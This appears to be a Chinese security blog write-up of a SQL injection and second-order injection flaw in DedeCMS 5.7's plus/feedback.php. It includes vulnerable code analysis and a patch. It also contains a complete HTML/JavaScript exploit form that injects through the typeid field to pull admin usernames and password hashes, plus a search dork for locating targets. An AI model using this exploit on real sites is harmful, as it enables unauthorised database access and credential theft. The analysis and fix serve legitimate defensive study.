dedecms /plus/feedback.php SQL Injection Vul

时间：2023-03-08 18:21:20
dedecms /plus/feedback.php SQL Injection Vul

catalog

. 漏洞描述

. 漏洞触发条件

. 漏洞影响范围

. 漏洞代码分析

. 防御方法

. 攻防思考

1. 漏洞描述

. Dedecms v5.7的plus\feedback.php SQL没有正确验证用户提供的输入，在实现上中存在注入漏洞

. 攻击者可以利用DEDECMS的变量覆盖漏洞向数据库中注入WEBSHELL Payload

. 在另一个代码流，攻击者可以触发二次注入

Relevant Link:

http://sebug.net/vuldb/ssvid-60549

http://www.venustech.com.cn/NewsInfo/124/17697.Html

http://www.sorry404.com/chengxuwenti/20140504/47.html

2. 漏洞触发条件

0x1: POC

<html>

<head>

<title>DedeCms v5. feedback.php exp</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<script language='javascript'>

y = document.form1.addr.value;

function exploit()

{

        var yanzhen = document.getElementById("yanzhen").value;

        var aid = document.getElementById("aid").value;

        var sqli = document.getElementById("sqli").value;

        document.form1.typeid.value = "0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'), ('" + aid +"','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',"+sqli+")#";

        document.form1.action = document.form1.addr.value + "/plus/feedback.php";

        document.form1.te.name = "action";

        document.form1.submit();

}

function getyanzhen()

{

        var x = "<img src='"+ document.form1.addr.value +"/include/vdimgck.php' width='60' height='24' onclick=\"this.src=this.src+'?'\">";

        document.body.innerHTML+=x;

        document.form1.addr.value = y;

}

function look()

{

        window.location.href = document.form1.addr.value+"/plus/feedback.php?aid="+document.getElementById("aid").value;

}

</script>

</head>

<body>

############################################################<br/>

DedeCms v5. feedback.php $typeid SQLi<br/>

Dork:inurl:plus/feedback.php?aid=<br/>

############################################################<br/><br/>

<form action="xxx" method="get" name="form1" target="_blank">

程序URL:<input type="text" id="addr" value="http://" /><br/>

验证码:<input type="text" name="validate" id="yanzhen" value=""/><br/>

存在的Aid:<input type="text" id="aid" value=""/><br/>

SQL注入语句:<input type="text" id="sqli" value="(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)" style="width:500px;"/><br/>

<input type="hidden" name="" id="te" value="send"/>

<input type="hidden" name="comtype" value="comments"/>

<input type="hidden" name="fid" value=""/>

<input type="hidden" name="isconfirm" value="yes"/>

<input type="hidden" name="msg" value="90sec"/>

<input type="hidden" name="typeid" value=""/>

<input type="button" onclick="getyanzhen();" value="获取验证码">

<input type="button" onClick="exploit()" value="#Exploit#" />

<input type="button" onClick="look()" value="查看结果" /><br/>

</form>

</body>

</html>

Relevant Link:

http://www.oday.pw/WEBanquan/111312.html

3. 漏洞影响范围

<= dedecms 5.7

4. 漏洞代码分析

\plus\feedback.php

..

//保存评论内容

if($comtype == 'comments')

{

    $arctitle = addslashes($title);

    if($msg!='')

    {

        //$typeid变量未做初始化

        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

           VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg'); ";

        $rs = $dsql->ExecuteNoneQuery($inquery);

        if(!$rs)

        {

            ShowMsg(' 发表评论错误! ', '-1');

            //echo $dsql->GetError();

            exit();

        }

    }

}

//引用回复

elseif ($comtype == 'reply')

{

    $row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");

    //未对数据库查询的$row['arctitle']进行有效过滤，造成二次注入

    $arctitle = $row['arctitle'];

    $aid =$row['aid'];

    $msg = $quotemsg.$msg;

    $msg = HtmlReplace($msg,);

    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)

            VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg')";

    $dsql->ExecuteNoneQuery($inquery);

}

..

Relevant Link:

http://www.yunsec.net/a/security/web/jbst/2012/1103/11816.html

5. 防御方法

\plus\feedback.php

//保存评论内容

    if($comtype == 'comments')

    {

        $arctitle = addslashes($title);

        /* 增加规范化、过滤逻辑 */

        $typeid = intval($typeid);

        $ischeck = intval($ischeck);

        $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);

        /**/

        if($msg!='')

        {

            //$typeid变量未做初始化

            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

                   VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg'); ";

            $rs = $dsql->ExecuteNoneQuery($inquery);

            if(!$rs)

            {

                ShowMsg(' 发表评论错误! ', '-1');

                //echo $dsql->GetError();

                exit();

            }

        }

    }

    //引用回复

    elseif ($comtype == 'reply')

    {

        $row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");

        //未对数据库查询的$row['arctitle']进行有效过滤，造成二次注入

        $arctitle = $row['arctitle'];

        /* 增加转义逻辑 */

        $arctitle = addslashes($row['arctitle']);

        /* */

        $aid =$row['aid'];

        $msg = $quotemsg.$msg;

        $msg = HtmlReplace($msg,);

        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)

                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg')";

        $dsql->ExecuteNoneQuery($inquery);

    }

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

相关文章